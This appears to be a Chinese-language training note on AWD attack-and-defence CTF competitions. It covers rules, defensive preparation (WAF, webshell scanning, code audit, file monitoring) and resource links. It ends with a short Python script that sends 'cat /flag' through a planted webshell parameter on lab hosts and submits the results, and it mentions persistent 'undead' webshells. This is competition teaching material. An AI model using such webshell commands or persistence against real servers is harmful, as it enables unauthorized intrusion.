第80天-红蓝对抗-AWD 模式&准备&攻防&监控&批量
时间:2022-09-16 12:30:00
思维导图
何为AWD
每个团队在比赛中维护多个服务器,服务器中有多个漏洞,可以利用漏洞攻击其他团队
修复漏洞可以避免被其他队伍攻击失分。
- 一般分配Web服务器(大为服务器)Linux) 某处存在flag (一般在根目录下)
- 流量分析虚拟机可以下载流量文件进行数据分析;
- flag在组织者的设置下,每隔一段时间刷新一次-轮
- 每个团队通常都有自己的初始分数
- flag一旦被其他球队拿走,球队将扣除一定的积分
- 扣分由获得fag的队伍均分
- 协会将为每个团队提供服务check,本轮服务停机扣除fag分数,扣除分数
- 服务check正常队伍均分
- 一般每个团队都会给低权限用户,而不是root权限
具体规则以具体比赛规则为准,但一般相似。
AWD 常见比赛规则说明:
Attack With Defence,简而言之,你既是一个人 hacker,又是一个 manager。
比赛形式:一般是一个 ssh 对应一个 web 服务,然后 flag 五分钟一轮,每个队一般都有自己的初始轮
分数,flag 会被拿走 flag 团队平均分,组织者将为每个团队提供服务 check,check 不过就扣
扣分,扣分由服务 check 正常队伍均分。
比赛的一半 WEB 大多数可能涉及内网安全,攻击和防御大多是早期培训内容。
前期准备:
- 队伍分工明确
- 脚本工具环境完整
- 漏洞 POC/EXP 库完整
- 安全防御 WAF 及批量脚本完整
必备操作:
- 备份网站文件
- 修改数据库默认密码
- 修改网页登录端所有弱密码
- 检查是否有后门账户
- 关闭不必要的端口,如远程登录端口
- 使用命令匹配一句话的特性
- 关注特殊过程是否运行
- 高权限可设置防火墙或禁止他人修改本目录
演示案例:
防守—部署WAF—第一次拦截部分攻击-升级后续版本
这类技术的核心准备在最快的第一时间为每个环境做准备 WAF 部署(源语言,比赛规则)
涉及资源:
- https://github.com/zhl2008/awd-platform
- https://github.com/yemoli/prepare-for-awd
- https://github.com/leohearts/awd-watchbird
- https://github.com/DasSecurity-HatLab/AoiAWD
- AoiAWD-针对CTF AWD原创轻量级防御系统 https://mp.weixin.qq.com/s/kwzJnoi2FwFhwbdxetd45A
- AWD平台搭建 https://www.cnblogs.com/Triangle-security/p/11332223.html
- AWD红蓝对抗数据工具 https://pan.baidu.com/s/1qR0Mb2ZdToQ7A1khqbiHuQ提取码:xiao
- 线下AWD平台建设和解决一些相关问题 https://www.cnblogs.com/pureqh/p/10869327.html
防守-扫后门-预留后门攻击-脚本版升级
这种技术的核心是扫描源代码预留或隐藏后门
当网站服务器入侵时,我们需要一个Webshell帮助我们找到检测工具webshell,进一步调查系统可能存在的安全漏洞。
- 10款常见的Webshell检测工具
- 目的:用杀毒软件查杀shell脚本,及时做好排查防护策略。
防守-代码审计-首次找到源代码中的安全漏洞-升级漏洞库版本
简要分析可能存在的安全问题,配合流量监控及代码审计后续操作(框架及非框架、源代码语言、漏洞库等。)判断漏洞
- Seay源代码审计系统-PHP语言单一,速度快,审计结果相对Fortify较少)
- Fortify——(支持语言丰富、速度慢、审计结果更多、更详细)
防御-文件监控-第一次监控当前目录文件操作-升级流量监控
最快的第一次操作,在防御攻击中,实时监控上传和删除当前目录文件,有效防止恶意删除、上传后门等,随后可以配合流量操作行为监控找到更多的漏洞
攻击—批量 Flag—第一次利用脚本批量实现 Flag 分-升级模板不死马
攻击第一时间操作,写批量获取 Flag 脚本后,预订 Flag 更新时间,实现自动获取和提交,升级后门写入和不死马,实现权限保持实时得分。
- 假设分析脚本,找到一个后门,批量写脚本。
批量获取并提交flag
import requests def get_flag(): data={
'shell':'cat /flag' } for i in range(8801,8804): url='http://192.168.76.156:' str(i) '/footer.php' result=requests.post(url,data=data).content.decode('utf-8')
print(result)
with open(r'flag.txt','a+') as f:
f .write(result+'\n')
f.close()
def tijiao_flag():
for flag in open('flag.txt'):
flag=flag.replace('\n','')
url='http://192.168.76.156:8080/flag_file.php?token=team1&flag='+flag
requests.get(url)
if __name__ == '__main__':
get_flag()
tijiao_flag()
涉及资源:
https://github.com/zhl2008/awd-platform
https://github.com/yemoli/prepare-for-awd
https://github.com/leohearts/awd-watchbird
https://github.com/DasSecurity-HatLab/AoiAWD
https://www.cnblogs.com/Triangle-security/p/11332223.html
AWD红蓝对抗资料工具 https://pan.baidu.com/s/1qR0Mb2ZdToQ7A1khqbiHuQ提取码:xiao
参考
- https://www.cnblogs.com/zhengna/p/15775396.html